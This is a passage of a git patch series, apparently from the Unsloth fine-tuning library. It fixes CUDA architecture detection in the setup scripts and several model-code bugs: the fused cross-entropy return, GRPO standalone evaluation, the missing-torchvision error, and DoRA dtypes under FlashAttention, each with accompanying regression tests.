-                    # GPU arch too new for this toolkit -- fall back to highest supported.
-                    # PTX forward-compatibility will JIT-compile for the actual GPU at runtime.
-                    $maxArch = Get-NvccMaxArch -NvccExe $NvccPath
-                    if ($maxArch) {
-                        $CmakeArgs += "-DCMAKE_CUDA_ARCHITECTURES=$maxArch"
-                        substep "GPU is sm_$CudaArch but nvcc only supports up to sm_$maxArch" "Yellow"
-                        substep "Building with sm_$maxArch (PTX will JIT for your GPU at runtime)" "Yellow"
+            # UNSLOTH_LLAMA_CUDA_ARCHS (e.g. "120" or "89;86") forces the build
+            # arch and wins over detection, matching setup.sh.
+            $CudaArchOverride = if ($env:UNSLOTH_LLAMA_CUDA_ARCHS) { ($env:UNSLOTH_LLAMA_CUDA_ARCHS -replace '\s', '') } else { '' }
+            if ((-not $CudaArch) -and (-not $CudaArchOverride)) {
+                # No detectable compute capability (#5854): -DGGML_CUDA=ON with no
+                # arch builds a PTX-only binary, so build CPU instead. Mirrors the
+                # Linux fix; set UNSLOTH_LLAMA_CUDA_ARCHS=120 to force a CUDA build.
+                substep "could not detect a CUDA compute capability; building CPU llama.cpp instead of a PTX-only binary (set UNSLOTH_LLAMA_CUDA_ARCHS=120 to force a CUDA build)." "Yellow"
+                $CmakeArgs += '-DGGML_CUDA=OFF'
+            } else {
+                $CmakeArgs += '-DGGML_CUDA=ON'
+                # Accept a host MSVC newer than nvcc's whitelist; a fresh toolkit
+                # (e.g. CUDA 13.3) otherwise aborts with "#error -- unsupported
+                # Microsoft Visual Studio version!". Mirrors the Linux fix. Via env
+                # (covers the configure probe + build), after Refresh-Environment, idempotent.
+                $nvccAllowFlag = '-allow-unsupported-compiler'
+                if ([string]::IsNullOrEmpty($env:NVCC_PREPEND_FLAGS)) {
+                    $env:NVCC_PREPEND_FLAGS = $nvccAllowFlag
+                } elseif ($env:NVCC_PREPEND_FLAGS -notlike "*$nvccAllowFlag*") {
+                    $env:NVCC_PREPEND_FLAGS = "$($env:NVCC_PREPEND_FLAGS) $nvccAllowFlag"
+                }
+                substep "NVCC_PREPEND_FLAGS = $env:NVCC_PREPEND_FLAGS"
+                $CmakeArgs += "-DCUDAToolkit_ROOT=$CudaToolkitRoot"
+                $CmakeArgs += "-DCUDA_TOOLKIT_ROOT_DIR=$CudaToolkitRoot"
+                $CmakeArgs += "-DCMAKE_CUDA_COMPILER=$NvccPath"
+                if ($CudaArchOverride) {
+                    # Forced arch wins verbatim (no nvcc validation), matching setup.sh.
+                    $CmakeArgs += "-DCMAKE_CUDA_ARCHITECTURES=$CudaArchOverride"
+                } elseif ($CudaArch) {
+                    # Validate nvcc actually supports this architecture
+                    if (Test-NvccArchSupport -NvccExe $NvccPath -Arch $CudaArch) {
+                        $CmakeArgs += "-DCMAKE_CUDA_ARCHITECTURES=$CudaArch"
+                    } else {
+                        # GPU arch too new for this toolkit -- fall back to highest supported.
+                        # PTX forward-compatibility will JIT-compile for the actual GPU at runtime.
+                        $maxArch = Get-NvccMaxArch -NvccExe $NvccPath
+                        if ($maxArch) {
+                            $CmakeArgs += "-DCMAKE_CUDA_ARCHITECTURES=$maxArch"
+                            substep "GPU is sm_$CudaArch but nvcc only supports up to sm_$maxArch" "Yellow"
+                            substep "Building with sm_$maxArch (PTX will JIT for your GPU at runtime)" "Yellow"
+                        }
+                        # else: omit flag entirely, let cmake pick defaults
                     }
-                    # else: omit flag entirely, let cmake pick defaults
                 }
             }
         } else {
diff --git a/studio/setup.sh b/studio/setup.sh
index ac82416f9b..b5b64a8d4d 100755
--- a/studio/setup.sh
+++ b/studio/setup.sh
@@ -155,6 +155,31 @@ _nvcc_meets_llama_minimum() {
     echo "$_raw"
 }
 
+# Echo a ';'-separated CUDA arch list (e.g. "86;120"). Override ($2,
+# UNSLOTH_LLAMA_CUDA_ARCHS) wins verbatim; else parse+dedupe compute_cap text
+# ($1). Empty means "no arch detected", so the caller builds CPU instead of a
+# PTX-only binary that fails on an old driver (#5854).
+_resolve_cuda_archs() {
+    local _raw_caps=$1
+    local _arch_override=$2
+    if [ -n "$_arch_override" ]; then
+        printf '%s' "$_arch_override"
+        return 0
+    fi
+    local _archs="" _cap _arch
+    while IFS= read -r _cap; do
+        _cap=$(printf '%s' "$_cap" | tr -d '[:space:]')
+        if [[ "$_cap" =~ ^([0-9]+)\.([0-9]+)$ ]]; then
+            _arch="${BASH_REMATCH[1]}${BASH_REMATCH[2]}"
+            case ";$_archs;" in
+                *";$_arch;"*) ;;
+                *) _archs="${_archs:+$_archs;}$_arch" ;;
+            esac
+        fi
+    done <<< "$_raw_caps"
+    printf '%s' "$_archs"
+}
+
 # Run a GPU probe under a 10s timeout when `timeout` is available so a wedged
 # NVIDIA driver cannot hang setup; fall back to a bare call where it is not.
 _setup_run_smi() {
@@ -1517,35 +1542,38 @@ else
                     fi
 
                     if [ "$_CUDA_TOOLKIT_ALLOWED" = true ]; then
-                        CMAKE_ARGS="$CMAKE_ARGS -DGGML_CUDA=ON"
-
-                        CUDA_ARCHS=""
-                        if command -v nvidia-smi &>/dev/null; then
-                            _raw_caps=$(_setup_run_smi nvidia-smi --query-gpu=compute_cap --format=csv,noheader 2>/dev/null || true)
-                            while IFS= read -r _cap; do
-                                _cap=$(echo "$_cap" | tr -d '[:space:]')
-                                if [[ "$_cap" =~ ^([0-9]+)\.([0-9]+)$ ]]; then
-                                    _arch="${BASH_REMATCH[1]}${BASH_REMATCH[2]}"
-                                    case ";$CUDA_ARCHS;" in
-                                        *";$_arch;"*) ;;
-                                        *) CUDA_ARCHS="${CUDA_ARCHS:+$CUDA_ARCHS;}$_arch" ;;
-                                    esac
-                                fi
-                            done <<< "$_raw_caps"
+                        # Resolve the arch list before committing to a CUDA build;
+                        # an empty list means CPU instead of a PTX-only binary (#5854).
+                        _raw_caps=""
+                        # Resolve nvidia-smi as _setup_has_usable_nvidia_gpu does
+                        # (PATH, then /usr/bin); `command -v` alone would miss an
+                        # off-PATH binary and wrongly drop a CUDA host to CPU.
+                        _smi_bin=""
+                        if command -v nvidia-smi >/dev/null 2>&1; then
+                            _smi_bin="nvidia-smi"
+                        elif [ -x "/usr/bin/nvidia-smi" ]; then
+                            _smi_bin="/usr/bin/nvidia-smi"
                         fi
+                        if [ -n "$_smi_bin" ]; then
+                            _raw_caps=$(_setup_run_smi "$_smi_bin" --query-gpu=compute_cap --format=csv,noheader 2>/dev/null || true)
+                        fi
+                        CUDA_ARCHS="$(_resolve_cuda_archs "$_raw_caps" "${UNSLOTH_LLAMA_CUDA_ARCHS:-}")"
 
                         if [ -n "$CUDA_ARCHS" ]; then
-                            CMAKE_ARGS="$CMAKE_ARGS -DCMAKE_CUDA_ARCHITECTURES=${CUDA_ARCHS}"
+                            CMAKE_ARGS="$CMAKE_ARGS -DGGML_CUDA=ON -DCMAKE_CUDA_ARCHITECTURES=${CUDA_ARCHS}"
+                            CMAKE_ARGS="$CMAKE_ARGS -DCMAKE_CUDA_FLAGS=--threads=0"
                             _BUILD_DESC="building (CUDA, sm_${CUDA_ARCHS//;/+sm_})"
+
+                            # Allow a host gcc/clang newer than nvcc's whitelist (else a fresh
+                            # toolkit aborts with "unsupported GNU version"); via env to avoid word-splitting.
+                            export NVCC_PREPEND_FLAGS="${NVCC_PREPEND_FLAGS:+$NVCC_PREPEND_FLAGS }-allow-unsupported-compiler"
                         else
-                            _BUILD_DESC="building (CUDA)"
+                            # No detectable arch: build CPU (CMAKE_ARGS has no
+                            # -DGGML_CUDA=ON yet, so clearing GPU_BACKEND yields CPU).
+                            substep "could not detect a CUDA compute capability; building CPU llama.cpp instead of a PTX-only binary (set UNSLOTH_LLAMA_CUDA_ARCHS, e.g. \"120\", to force a CUDA build)." "$C_WARN"
+                            GPU_BACKEND=""
+                            _BUILD_DESC="building (CPU, CUDA arch undetectable)"
                         fi
-
-                        CMAKE_ARGS="$CMAKE_ARGS -DCMAKE_CUDA_FLAGS=--threads=0"
-
-                        # Allow a host gcc/clang newer than nvcc's whitelist (else a fresh
-                        # toolkit aborts with "unsupported GNU version"); via env to avoid word-splitting.
-                        export NVCC_PREPEND_FLAGS="${NVCC_PREPEND_FLAGS:+$NVCC_PREPEND_FLAGS }-allow-unsupported-compiler"
                     fi
                 fi
             elif [ "$GPU_BACKEND" = "rocm" ]; then
diff --git a/tests/run_all.sh b/tests/run_all.sh
index 2c495f5561..18182d9db7 100755
--- a/tests/run_all.sh
+++ b/tests/run_all.sh
@@ -11,6 +11,7 @@ sh "$TESTS_DIR/sh/test_get_torch_index_url.sh"
 sh "$TESTS_DIR/sh/test_mac_intel_compat.sh"
 sh "$TESTS_DIR/sh/test_torch_constraint.sh"
 sh "$TESTS_DIR/sh/test_nvcc_meets_llama_minimum.sh"
+sh "$TESTS_DIR/sh/test_resolve_cuda_archs.sh"
 sh "$TESTS_DIR/sh/test_strixhalo_wsl_reroute.sh"
 sh "$TESTS_DIR/sh/test_uninstall_shared_icon.sh"
 sh "$TESTS_DIR/sh/test_torch_flavor.sh"
diff --git a/tests/sh/test_resolve_cuda_archs.sh b/tests/sh/test_resolve_cuda_archs.sh
new file mode 100755
index 0000000000..be32bee6ad
--- /dev/null
+++ b/tests/sh/test_resolve_cuda_archs.sh
@@ -0,0 +1,68 @@
+#!/bin/bash
+# Unit tests for _resolve_cuda_archs() from studio/setup.sh (#5854).
+# Turns nvidia-smi compute_cap text into a deduped ';'-separated arch list;
+# empty result signals a CPU build, and an explicit override wins.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+SETUP_SH="$SCRIPT_DIR/../../studio/setup.sh"
+PASS=0
+FAIL=0
+
+# Extract just the helper function (same sed range as the other function tests).
+_FUNC_FILE=$(mktemp)
+sed -n '/^_resolve_cuda_archs()/,/^}/p' "$SETUP_SH" > "$_FUNC_FILE"
+
+assert_eq() {
+    _label="$1"; _expected="$2"; _actual="$3"
+    if [ "$_actual" = "$_expected" ]; then
+        echo "  PASS: $_label"
+        PASS=$((PASS + 1))
+    else
+        echo "  FAIL: $_label (expected '$_expected', got '$_actual')"
+        FAIL=$((FAIL + 1))
+    fi
+}
+
+# $1 = raw compute_cap text, $2 = override
+run_resolve() {
+    bash -c ". '$_FUNC_FILE'; _resolve_cuda_archs \"\$1\" \"\$2\"" _ "$1" "$2"
+}
+
+echo "=== test_resolve_cuda_archs ==="
+
+# 1) Single GPU -> single arch.
+assert_eq "single 8.6" "86" "$(run_resolve "8.6" "")"
+
+# 2) Two distinct GPUs -> both archs, order preserved.
+assert_eq "distinct 8.6 + 9.0" "86;90" "$(run_resolve "$(printf '8.6\n9.0\n')" "")"
+
+# 3) Duplicate caps (multi-GPU same model) -> deduped.
+assert_eq "dedup 12.0 x2" "120" "$(run_resolve "$(printf '12.0\n12.0\n')" "")"
+
+# 4) Empty input -> empty (the CPU-fallback signal; #5854).
+assert_eq "empty input" "" "$(run_resolve "" "")"
+
+# 5) Garbage / N/A lines are ignored -> empty.
+assert_eq "garbage N/A" "" "$(run_resolve "$(printf 'N/A\n[Not Supported]\n')" "")"
+
+# 6) Mixed valid + junk -> only the valid caps survive.
+assert_eq "mixed valid+junk" "86;90" "$(run_resolve "$(printf '8.6\nfoo\n9.0\n')" "")"
+
+# 7) Whitespace / CR around a cap is stripped.
+assert_eq "whitespace stripped" "86" "$(run_resolve "$(printf '  8.6 \r\n')" "")"
+
+# 8) Override wins verbatim, ignoring detection.
+assert_eq "override wins" "120" "$(run_resolve "8.6" "120")"
+
+# 9) Override works even with no detected caps.
+assert_eq "override no detection" "86;90" "$(run_resolve "" "86;90")"
+
+# 10) Future arch (compute 10.0 -> 100) parses.
+assert_eq "future 10.0" "100" "$(run_resolve "10.0" "")"
+
+rm -f "$_FUNC_FILE"
+
+echo ""
+echo "Results: $PASS passed, $FAIL failed"
+[ "$FAIL" -eq 0 ] || exit 1
diff --git a/tests/studio/install/test_gpu_detection_followups.py b/tests/studio/install/test_gpu_detection_followups.py
index 0926cf9bd5..f5ad9566d7 100644
--- a/tests/studio/install/test_gpu_detection_followups.py
+++ b/tests/studio/install/test_gpu_detection_followups.py
@@ -249,7 +249,20 @@ class TestSetupShHardening:
         ), "ROCm toolkit search must require a detected AMD GPU, not just hipcc"
 
     def test_compute_cap_probe_timeout_wrapped(self, setup_src):
-        assert "_setup_run_smi nvidia-smi --query-gpu=compute_cap" in setup_src
+        # nvidia-smi is now a variable ($_smi_bin), so check the wrapper precedes
+        # the probe rather than matching a literal. The string also appears in a
+        # comment, so scan all occurrences and accept if any is wrapped.
+        wrapped = False
+        start = 0
+        while True:
+            idx = setup_src.find("--query-gpu=compute_cap", start)
+            if idx < 0:
+                break
+            if "_setup_run_smi" in setup_src[max(0, idx - 80) : idx]:
+                wrapped = True
+                break
+            start = idx + 1
+        assert wrapped, "compute_cap probe must be wrapped in _setup_run_smi (timeout-bounded)"
 
     def test_driver_version_probe_timeout_wrapped(self, setup_src):
         start = setup_src.find("_cuda_driver_max_version()")
diff --git a/tests/studio/install/test_pr4562_bugfixes.py b/tests/studio/install/test_pr4562_bugfixes.py
index b19c300fec..a8cec0cb85 100644
--- a/tests/studio/install/test_pr4562_bugfixes.py
+++ b/tests/studio/install/test_pr4562_bugfixes.py
@@ -728,13 +728,16 @@ class TestSourceCodePatterns:
         assert all(
             "-allow-unsupported-compiler" not in line for line in cmake_args_lines
         ), "flag must not be pushed into the $CmakeArgs array"
-        # Must be scoped to the CUDA branch, not set for CPU-only builds.
+        # Must be scoped to the CUDA-on branch, not set for CPU-only builds. The
+        # branch also has an early GGML_CUDA=OFF (undetectable-arch CPU fallback,
+        # #5854), so anchor on GGML_CUDA=ON and the final (no-GPU) GGML_CUDA=OFF.
         flag_idx = content.index("-allow-unsupported-compiler")
         cuda_guard_idx = content.index("if ($HasNvidiaSmi -and $NvccPath)")
-        cuda_disable_idx = content.index("'-DGGML_CUDA=OFF'")
-        assert cuda_guard_idx < flag_idx < cuda_disable_idx, (
-            "NVCC_PREPEND_FLAGS must be set inside the CUDA-on branch, "
-            "before the GGML_CUDA=OFF (CPU) branch"
+        cuda_on_idx = content.index("'-DGGML_CUDA=ON'")
+        cpu_else_idx = content.rindex("'-DGGML_CUDA=OFF'")
+        assert cuda_guard_idx < cuda_on_idx < flag_idx < cpu_else_idx, (
+            "NVCC_PREPEND_FLAGS must be set inside the CUDA-on branch, after "
+            "-DGGML_CUDA=ON and before the final CPU GGML_CUDA=OFF branch"
         )
 
     def test_macos_arm64_cpu_fallback_args_exclude_rpath(self):

From eae59b25b6d83977a20aaa1438b00c62832f40b8 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 01:26:55 -0700
Subject: [PATCH 052/306] fix: use EMPTY_LOGITS on the fused-CE not-return_dict
 path (#2068) (#6482)

* fix: use EMPTY_LOGITS on the fused-CE not-return_dict path (#2068)

CausalLM_fast_forward's fused cross-entropy path (small batch, labels set,
UNSLOTH_RETURN_LOGITS off) computes the loss straight from hidden_states
via unsloth_fused_ce_loss and never materializes `logits`. The
return_dict=True branch returns EMPTY_LOGITS, but the `not return_dict`
branch returned `(logits,) + outputs[1:]`, raising
"UnboundLocalError: cannot access local variable 'logits'" whenever it ran
(e.g. training with return_dict=False). Same bug in the llama and mistral
fast-forward paths.

Return EMPTY_LOGITS on that branch too, matching the adjacent return_dict
output. Verified on GPU: a forward(return_dict=False, labels=...) that
raised UnboundLocalError now returns (loss, EMPTY_LOGITS, ...) and
backward() succeeds.

Adds tests/test_fused_ce_not_return_dict_logits.py, a CPU source-drift guard
(the fused path itself is GPU/triton only) asserting both fast-forward paths
keep using EMPTY_LOGITS there.

* Address review: parse the fused-CE drift line with whitespace-tolerant regexes

The drift detector sliced the source with exact string matching
(source.index("output = (") + the next newline), so a formatter respacing or
rewrapping the assignment would break the parse. Switch to anchored regexes that
tolerate whitespace and line wrapping, keeping the match anchored after the
fused guard so it targets the fused-CE branch and not the normal
output = (logits,) path. Behavior and the two drift assertions are unchanged.

* Tighten code comments (no logic change)

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
---
 tests/test_fused_ce_not_return_dict_logits.py | 62 +++++++++++++++++++
 unsloth/models/llama.py                       |  4 +-
 unsloth/models/mistral.py                     |  4 +-
 3 files changed, 68 insertions(+), 2 deletions(-)
 create mode 100644 tests/test_fused_ce_not_return_dict_logits.py

diff --git a/tests/test_fused_ce_not_return_dict_logits.py b/tests/test_fused_ce_not_return_dict_logits.py
new file mode 100644
index 0000000000..51a6ec4843
--- /dev/null
+++ b/tests/test_fused_ce_not_return_dict_logits.py
@@ -0,0 +1,62 @@
+# Unsloth - 2x faster, 60% less VRAM LLM training and finetuning
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+
+"""Drift detector for unsloth#2068.
+
+The fused-CE path never materializes ``logits``, so its ``not return_dict``
+return must use ``EMPTY_LOGITS`` (it once used ``logits`` -> UnboundLocalError).
+Pure text inspection, so it runs GPU-free (the fused path is GPU/triton only)."""
+
+from __future__ import annotations
+
+import re
+from pathlib import Path
+
+import pytest
+
+
+_REPO = Path(__file__).resolve().parent.parent
+
+
+def _fused_ce_not_return_dict_return(source: str) -> str:
+    """Return the `output = (...) + outputs[1:]` assignment from the first
+    `if not return_dict:` after the `unsloth_fused_ce_loss(` call. Whitespace-
+    tolerant regexes survive reformatting; the anchor targets the fused branch."""
+    fused = re.search(r"unsloth_fused_ce_loss\s*\(", source)
+    if fused is None:
+        raise ValueError("unsloth_fused_ce_loss( call not found")
+    guard = re.search(r"if\s+not\s+return_dict\s*:", source[fused.end() :])
+    if guard is None:
+        raise ValueError("`if not return_dict:` guard not found after fused-CE call")
+    guard_start = fused.end() + guard.start()
+    out = re.search(r"output\s*=\s*\(.*?outputs\s*\[\s*1\s*:\s*\]", source[guard_start:], re.DOTALL)
+    if out is None:
+        raise ValueError("`output = (...) + outputs[1:]` assignment not found")
+    return out.group(0)
+
+
+@pytest.mark.parametrize("rel", ["unsloth/models/llama.py", "unsloth/models/mistral.py"])
+def test_fused_ce_not_return_dict_uses_empty_logits(rel):
+    path = _REPO / rel
+    source = path.read_text(encoding = "utf-8")
+    assert "unsloth_fused_ce_loss(" in source, f"{rel}: fused-CE call vanished"
+
+    ret = _fused_ce_not_return_dict_return(source)
+    assert "EMPTY_LOGITS" in ret, (
+        f"DRIFT (#2068): {rel} fused-CE `not return_dict` returns {ret!r}; it must "
+        f"use EMPTY_LOGITS since `logits` is never assigned on the fused-CE path."
+    )
+    assert "(logits,)" not in ret, (
+        f"DRIFT (#2068): {rel} fused-CE `not return_dict` references the unassigned "
+        f"`logits` ({ret!r}) -> UnboundLocalError at runtime."
+    )
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index 7b9cf3df0e..c61e64b41a 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -1486,7 +1486,9 @@ def CausalLM_fast_forward(fast_forward_inference):
                     logit_softcapping = logit_softcapping,
                 )
                 if not return_dict:
-                    output = (logits,) + outputs[1:]
+                    # Fused CE never materializes `logits`; use EMPTY_LOGITS
+                    # like the return_dict branch below (fixes #2068).
+                    output = (EMPTY_LOGITS,) + outputs[1:]
                     return (loss,) + output if loss is not None else output
 
                 output = CausalLMOutputWithPast(
diff --git a/unsloth/models/mistral.py b/unsloth/models/mistral.py
index 74f7acbb03..df2a4de5bd 100644
--- a/unsloth/models/mistral.py
+++ b/unsloth/models/mistral.py
@@ -332,7 +332,9 @@ def MistralForCausalLM_fast_forward(
                 logit_softcapping = logit_softcapping,
             )
             if not return_dict:
-                output = (logits,) + outputs[1:]
+                # Fused CE never materializes `logits`; use EMPTY_LOGITS
+                # like the return_dict branch below (fixes #2068).
+                output = (EMPTY_LOGITS,) + outputs[1:]
                 return (loss,) + output if loss is not None else output
 
             output = CausalLMOutputWithPast(

From f74c48eb5801632149a1d82eed8625092f61dc60 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 01:27:29 -0700
Subject: [PATCH 053/306] Fix GRPOTrainer evaluate() crash without prior
 training (#6523)

* Fix GRPOTrainer evaluate() crash when called without prior training

GRPOTrainer.compute_loss read self.current_gradient_accumulation_steps
directly. That attribute is only set by the transformers training loop, so
calling trainer.evaluate() standalone (no prior trainer.train()) raised
AttributeError. Read it via getattr with a fallback to
args.gradient_accumulation_steps so standalone evaluation works.

* GRPO eval: fall back accumulation steps to 1 so standalone eval_loss is not underreported

* Tighten code comments (no logic change)
---
 unsloth/models/rl_replacements.py | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py
index ab18a5ec93..ba4b4b4415 100644
--- a/unsloth/models/rl_replacements.py
+++ b/unsloth/models/rl_replacements.py
@@ -1530,7 +1530,11 @@ def grpo_trainer_compute_loss(function_name, function):
         num_items_in_batch = inputs.get("num_items_in_batch", None)
         sampling_per_token_logps = inputs.get("sampling_per_token_logps", None)
         tool_mask = inputs.get("tool_mask", None)
-        current_gradient_accumulation_steps = self.current_gradient_accumulation_steps
+        # Missing when evaluate() runs standalone; eval does not accumulate, so
+        # fall back to 1 to avoid underreporting eval_loss (#2464).
+        current_gradient_accumulation_steps = getattr(
+            self, "current_gradient_accumulation_steps", 1
+        )
         num_processes = self.accelerator.num_processes
 
         input_ids = torch.cat([prompt_ids, completion_ids], dim = 1)

From 7b208bc35cd9fe7efaca28de87ae8c03e23cc7ca Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 01:28:09 -0700
Subject: [PATCH 054/306] Fix misleading 'only for image models' error for
 Qwen3-VL when torchvision is missing (#6525)

* Fix misleading 'only for image models' error for Qwen3-VL when torchvision is missing

transformers >= 5.4 hard-requires torchvision for VLM image/video processors and
no longer falls back to a slow processor. Without torchvision the processor load
raises ImportError, unsloth degrades to a text-only tokenizer, and the vision data
collator later fails with 'UnslothVisionDataCollator is only for image models!'.

Detect this case at load time and raise a clear, actionable error pointing at the
missing torchvision dependency instead.

Fixes unslothai/unsloth#4202

* Apply kwarg-spacing format hook to vision torchvision guard (pre-commit)

* Make torchvision-missing detection precise: check availability first, match specific error text

* Tighten code comments (no logic change)

* Make missing-torchvision VLM error version-agnostic

The raise also fires on transformers 4.57.x for VLMs with a video processor
(Qwen2.5-VL, Qwen3-VL), where AutoVideoProcessor requires torchvision. The old
message claimed 'transformers >= 5.4 requires torchvision', which is inaccurate
on 4.57.x. Reword to state torchvision is required for this model's vision
processors without a version-specific claim.

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
---
 tests/test_missing_torchvision_vlm.py | 30 +++++++++++++++++++++++
 unsloth/models/vision.py              | 35 ++++++++++++++++++++++++---
 2 files changed, 62 insertions(+), 3 deletions(-)
 create mode 100644 tests/test_missing_torchvision_vlm.py

diff --git a/tests/test_missing_torchvision_vlm.py b/tests/test_missing_torchvision_vlm.py
new file mode 100644
index 0000000000..5bc72a21da
--- /dev/null
+++ b/tests/test_missing_torchvision_vlm.py
@@ -0,0 +1,30 @@
+"""Regression test for unsloth#4202: detect missing torchvision so the loader can
+surface the real cause instead of a misleading collator error."""
+
+import importlib.util
+from unittest import mock
+
+from unsloth.models.vision import _missing_torchvision_error
+
+
+def test_error_text_mentions_torchvision_is_detected():
+    err = ImportError("Qwen3VLVideoProcessor requires the Torchvision library but ...")
+    assert _missing_torchvision_error(err) is True
+
+
+def test_torchvision_missing_is_detected_without_error():
+    with mock.patch.object(importlib.util, "find_spec", return_value = None):
+        assert _missing_torchvision_error(None) is True
+
+
+def test_torchvision_present_unrelated_error_is_not_flagged():
+    sentinel = object()
+    with mock.patch.object(importlib.util, "find_spec", return_value = sentinel):
+        assert _missing_torchvision_error(ValueError("unrelated")) is False
+        assert _missing_torchvision_error(None) is False
+
+
+def test_matches_real_environment():
+    # find_spec is the source of truth when no error is supplied.
+    expected = importlib.util.find_spec("torchvision") is None
+    assert _missing_torchvision_error(None) is expected
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 182030c68b..85ed5ee0b1 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -449,6 +449,23 @@ def unsloth_base_fast_generate(self, *args, **kwargs):
     return output
 
 
+def _missing_torchvision_error(error = None):
+    """True if a VLM processor failed to load due to missing torchvision (#4202).
+
+    Checks availability directly first, then only the specific torchvision-required
+    error text (not any incidental "torchvision" substring like a model path)."""
+    import importlib.util
+
+    if importlib.util.find_spec("torchvision") is None:
+        return True
+    if error is not None:
+        error_str = str(error).lower()
+        return (
+            "requires the torchvision" in error_str or "no module named 'torchvision'" in error_str
+        )
+    return False
+
+
 def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_remote_code):
     """Construct a VLM processor manually when AutoProcessor.from_pretrained fails.
 
@@ -1154,6 +1171,7 @@ class FastBaseModel:
                     except Exception:
                         pass
 
+        _processor_load_error = None
         if (whisper_language and whisper_task) or auto_model.__name__.endswith(
             "ForConditionalGeneration"
         ):
@@ -1166,7 +1184,8 @@ class FastBaseModel:
                     task = whisper_task,
                     trust_remote_code = trust_remote_code,
                 )
-            except Exception:
+            except Exception as e:
+                _processor_load_error = e
                 tokenizer = None
         else:
             try:
@@ -1176,7 +1195,8 @@ class FastBaseModel:
                     token = token,
                     trust_remote_code = trust_remote_code,
                 )
-            except:
+            except Exception as e:
+                _processor_load_error = e
                 tokenizer = get_auto_processor(
                     tokenizer_name,
                     padding_side = "left",
@@ -1200,7 +1220,16 @@ class FastBaseModel:
             )
             if _fallback is not None:
                 tokenizer = _fallback
-            if tokenizer is None:
+            # Missing torchvision silently degrades the VLM processor to a text-only
+            # tokenizer; surface the real cause instead of the later collator error (#4202).
+            if tokenizer is None or not hasattr(tokenizer, "image_processor"):
+                if _missing_torchvision_error(_processor_load_error):
+                    raise ImportError(
+                        f"Unsloth: Could not load the vision processor for `{tokenizer_name}` "
+                        "because torchvision is not installed. transformers requires torchvision "
+                        "for this model's vision (image/video) processors. Please install it, "
+                        "e.g. `pip install torchvision`."
+                    )
                 import sys
                 print(
                     f"Unsloth: Warning - VLM processor fallback returned None for model_type={model_type_arch}",

From 9780cdcca1badf72ef07d9e010ad27c4b2c328c1 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 01:29:19 -0700
Subject: [PATCH 055/306] Fix FlashAttention fp32 crash with DoRA
 (use_dora=True) (#6526)

* Fix FlashAttention fp32 crash with DoRA (use_dora=True)

DoRA upcasts lora_magnitude_vector to fp32 for the optimizer, which promotes
the q/k/v_proj output to fp32. FlashAttention only accepts fp16/bf16, so the
fp32 q/k/v raised 'FlashAttention only support fp16 and bf16 data type'.
Downcast q/k/v to the compute dtype before the flash kernels.

Fixes #1013

* Apply kwarg-spacing format hook to DoRA dtype test (pre-commit)

* DoRA+FA2: downcast any fp32 among Q/K/V and clamp to a flash-supported dtype

* Tighten code comments (no logic change)

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
---
 .../test_attention_dispatch_dora_dtype.py     | 73 +++++++++++++++++++
 unsloth/utils/attention_dispatch.py           | 19 +++++
 2 files changed, 92 insertions(+)
 create mode 100644 tests/utils/test_attention_dispatch_dora_dtype.py

diff --git a/tests/utils/test_attention_dispatch_dora_dtype.py b/tests/utils/test_attention_dispatch_dora_dtype.py
new file mode 100644
index 0000000000..a6586dea8d
--- /dev/null
+++ b/tests/utils/test_attention_dispatch_dora_dtype.py
@@ -0,0 +1,73 @@
+"""Regression test for unslothai/unsloth#1013: run_attention must downcast DoRA's
+fp32 q/k/v for FlashAttention while leaving already-16bit tensors untouched."""
+
+import torch
+import unsloth  # noqa: F401
+
+from unsloth.utils import attention_dispatch as ad
+
+
+def _run(monkeypatch, qkv_dtype, backend):
+    captured = {}
+
+    def _check(Q):
+        captured["dtype"] = Q.dtype
+        # Mirror the real kernel constraint so an unfixed dispatch fails loudly.
+        if Q.dtype not in (torch.float16, torch.bfloat16):
+            raise RuntimeError("FlashAttention only support fp16 and bf16 data type")
+
+    def fake_flash_dense(Q, K, V, **kwargs):
+        _check(Q)
+        return torch.zeros_like(Q)
+
+    def fake_flash_varlen(Q, K, V, *args, **kwargs):
+        _check(Q)
+        return torch.zeros_like(Q)
+
+    monkeypatch.setattr(ad, "flash_attn_func", fake_flash_dense, raising = False)
+    monkeypatch.setattr(ad, "flash_attn_varlen_func", fake_flash_varlen, raising = False)
+
+    bsz, n_heads, q_len, head_dim = 1, 2, 4, 8
+    Q = torch.randn(bsz, n_heads, q_len, head_dim, dtype = qkv_dtype)
+    K = torch.randn(bsz, n_heads, q_len, head_dim, dtype = qkv_dtype)
+    V = torch.randn(bsz, n_heads, q_len, head_dim, dtype = qkv_dtype)
+
+    seq_info = None
+    if backend == ad.FLASH_VARLEN:
+        cu = torch.tensor([0, q_len], dtype = torch.int32)
+        seq_info = (None, cu, q_len)
+
+    config = ad.AttentionConfig(
+        backend = backend,
+        n_kv_heads = n_heads,
+        n_groups = 1,
+        flash_dense_kwargs = {"causal": True},
+        flash_varlen_kwargs = {"dropout_p": 0.0, "causal": True},
+    )
+    context = ad.AttentionContext(
+        bsz = bsz,
+        q_len = q_len,
